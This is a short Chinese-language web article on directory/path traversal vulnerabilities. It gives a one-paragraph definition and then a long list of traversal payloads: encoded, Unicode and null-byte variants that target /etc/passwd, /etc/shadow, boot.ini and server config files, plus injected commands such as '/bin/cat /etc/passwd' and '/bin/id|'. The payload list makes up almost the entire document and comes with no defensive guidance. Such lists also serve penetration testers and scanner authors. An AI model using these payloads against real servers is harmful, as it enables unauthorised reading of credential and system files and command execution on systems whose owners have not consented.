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目录/路径遍历(directory traversal/path traversal)

发布时间:2010-10-05 12:14文章来源:网络文章作者:秩名 点击次数:
摘要:目录/路径遍历(directory traversal/path traversal) 基本定义: 目录遍历(或路径遍历)(directory traversal/path traversal)是由于Web服务器或Web应用程序对用户输入文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过HTTP请求和利用一些特殊字...

目录/路径遍历(directory traversal/path traversal)

 

基本定义:

目录遍历(或路径遍历)(directory traversal/path traversal)是由于Web服务器或Web应用程序对用户输入文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过HTTP请求和利用一些特殊字符就可以绕过服务器的安全限制,访问任意受限的文件(可以是Web根目录以外的文件),甚至执行系统命令。

 

可能导致路径遍历一些特殊字符:

..
..\
../
%2e%2e%2f which translates to ../
%2e%2e/ which translates to ../
..%2f which translates to ../
%2e%2e%5c which translates to ..\
%c1%1c
%c0%9v
%c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini

 

标签分类: 目录遍历

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